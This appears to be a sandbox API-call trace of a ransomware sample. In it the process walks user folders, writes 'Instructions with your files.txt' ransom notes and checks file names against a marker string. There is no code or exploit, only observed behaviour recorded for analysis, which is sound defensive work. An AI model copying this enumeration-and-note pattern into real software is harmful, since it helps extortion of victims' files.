[0131.669] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.669] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.669] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.669] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.669] CloseHandle (hObject=0x110) returned 1
[0131.670] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.670] GetProcessHeap () returned 0x810000
[0131.670] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.670] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wPKnTbjuuYij", cAlternateFileName="WPKNTB~1")) returned 0
[0131.670] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Instructions with your files.txt") returned 72
[0131.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.670] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.671] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.671] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.671] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.671] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.671] CloseHandle (hObject=0x10c) returned 1
[0131.671] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.671] GetProcessHeap () returned 0x810000
[0131.671] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.671] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
[0131.671] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 46
[0131.671] GetProcessHeap () returned 0x810000
[0131.671] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.671] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned 48
[0131.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wPKnTbjuuYij", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.672] GetProcessHeap () returned 0x810000
[0131.672] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 41
[0131.672] GetProcessHeap () returned 0x810000
[0131.672] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.672] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned 43
[0131.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wPKnTbjuuYij", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.672] GetProcessHeap () returned 0x810000
[0131.672] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8d2e0de0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8d2e0de0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned 44
[0131.672] StrStrIW (lpFirst="NTUSER.DAT", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8d2bac80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned 49
[0131.672] StrStrIW (lpFirst="ntuser.dat.LOG1", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned 49
[0131.672] StrStrIW (lpFirst="ntuser.dat.LOG2", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 89
[0131.672] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 126
[0131.672] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
[0131.672] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 126
[0131.672] StrStrIW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpSrch="SDfghjkl") returned 0x0
[0131.672] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
[0131.673] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned 44
[0131.673] StrStrIW (lpFirst="ntuser.ini", lpSrch="SDfghjkl") returned 0x0
[0131.673] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
[0131.673] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 42
[0131.673] GetProcessHeap () returned 0x810000
[0131.673] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.673] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned 44
[0131.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.673] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\.") returned 44
[0131.673] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9f9510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9f9510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.673] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\..") returned 45
[0131.673] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ef8ebe0, ftCreationTime.dwHighDateTime=0x1d5c0d7, ftLastAccessTime.dwLowDateTime=0xeba679c0, ftLastAccessTime.dwHighDateTime=0x1d5b9b6, ftLastWriteTime.dwLowDateTime=0xeba679c0, ftLastWriteTime.dwHighDateTime=0x1d5b9b6, nFileSizeHigh=0x0, nFileSizeLow=0x3167, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-nBKC4O11awQiPFqD.gif", cAlternateFileName="-NBKC4~1.GIF")) returned 1
[0131.673] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\-nBKC4O11awQiPFqD.gif") returned 64
[0131.673] StrStrIW (lpFirst="-nBKC4O11awQiPFqD.gif", lpSrch="SDfghjkl") returned 0x0
[0131.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf26577c0, ftCreationTime.dwHighDateTime=0x1d5b6f0, ftLastAccessTime.dwLowDateTime=0x73d77690, ftLastAccessTime.dwHighDateTime=0x1d5b7e2, ftLastWriteTime.dwLowDateTime=0x73d77690, ftLastWriteTime.dwHighDateTime=0x1d5b7e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7mYFbg44 ybxk4O", cAlternateFileName="7MYFBG~1")) returned 1
[0131.673] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O") returned 58
[0131.673] GetProcessHeap () returned 0x810000
[0131.673] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.673] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\*") returned 60
[0131.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf26577c0, ftCreationTime.dwHighDateTime=0x1d5b6f0, ftLastAccessTime.dwLowDateTime=0x73d77690, ftLastAccessTime.dwHighDateTime=0x1d5b7e2, ftLastWriteTime.dwLowDateTime=0x73d77690, ftLastWriteTime.dwHighDateTime=0x1d5b7e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\.") returned 60
[0131.678] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf26577c0, ftCreationTime.dwHighDateTime=0x1d5b6f0, ftLastAccessTime.dwLowDateTime=0x73d77690, ftLastAccessTime.dwHighDateTime=0x1d5b7e2, ftLastWriteTime.dwLowDateTime=0x73d77690, ftLastWriteTime.dwHighDateTime=0x1d5b7e2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\..") returned 61
[0131.678] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e19e0, ftCreationTime.dwHighDateTime=0x1d5c15e, ftLastAccessTime.dwLowDateTime=0xc03493f0, ftLastAccessTime.dwHighDateTime=0x1d5b96e, ftLastWriteTime.dwLowDateTime=0xc03493f0, ftLastWriteTime.dwHighDateTime=0x1d5b96e, nFileSizeHigh=0x0, nFileSizeLow=0x10aca, dwReserved0=0x0, dwReserved1=0x0, cFileName="-efy0ICMzFtTWAB5.jpg", cAlternateFileName="-EFY0I~1.JPG")) returned 1
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\-efy0ICMzFtTWAB5.jpg") returned 79
[0131.678] StrStrIW (lpFirst="-efy0ICMzFtTWAB5.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.678] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c45d920, ftCreationTime.dwHighDateTime=0x1d5ba4f, ftLastAccessTime.dwLowDateTime=0xf41ce1e0, ftLastAccessTime.dwHighDateTime=0x1d5b847, ftLastWriteTime.dwLowDateTime=0xf41ce1e0, ftLastWriteTime.dwHighDateTime=0x1d5b847, nFileSizeHigh=0x0, nFileSizeLow=0x17056, dwReserved0=0x0, dwReserved1=0x0, cFileName="5JNYPEcFCFQOWi.png", cAlternateFileName="5JNYPE~1.PNG")) returned 1
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\5JNYPEcFCFQOWi.png") returned 77
[0131.678] StrStrIW (lpFirst="5JNYPEcFCFQOWi.png", lpSrch="SDfghjkl") returned 0x0
[0131.678] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c11b40, ftCreationTime.dwHighDateTime=0x1d5b8a8, ftLastAccessTime.dwLowDateTime=0xc3c35bc0, ftLastAccessTime.dwHighDateTime=0x1d5bcaa, ftLastWriteTime.dwLowDateTime=0xc3c35bc0, ftLastWriteTime.dwHighDateTime=0x1d5bcaa, nFileSizeHigh=0x0, nFileSizeLow=0x1f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="GbtF142f8.bmp", cAlternateFileName="GBTF14~1.BMP")) returned 1
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\GbtF142f8.bmp") returned 72
[0131.678] StrStrIW (lpFirst="GbtF142f8.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.678] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a7a4170, ftCreationTime.dwHighDateTime=0x1d5bd2f, ftLastAccessTime.dwLowDateTime=0x592f1280, ftLastAccessTime.dwHighDateTime=0x1d5bb07, ftLastWriteTime.dwLowDateTime=0x592f1280, ftLastWriteTime.dwHighDateTime=0x1d5bb07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gpjIB zIFZpCB", cAlternateFileName="GPJIBZ~1")) returned 1
[0131.678] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB") returned 72
[0131.678] GetProcessHeap () returned 0x810000
[0131.679] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.679] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\*") returned 74
[0131.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a7a4170, ftCreationTime.dwHighDateTime=0x1d5bd2f, ftLastAccessTime.dwLowDateTime=0x592f1280, ftLastAccessTime.dwHighDateTime=0x1d5bb07, ftLastWriteTime.dwLowDateTime=0x592f1280, ftLastWriteTime.dwHighDateTime=0x1d5bb07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\.") returned 74
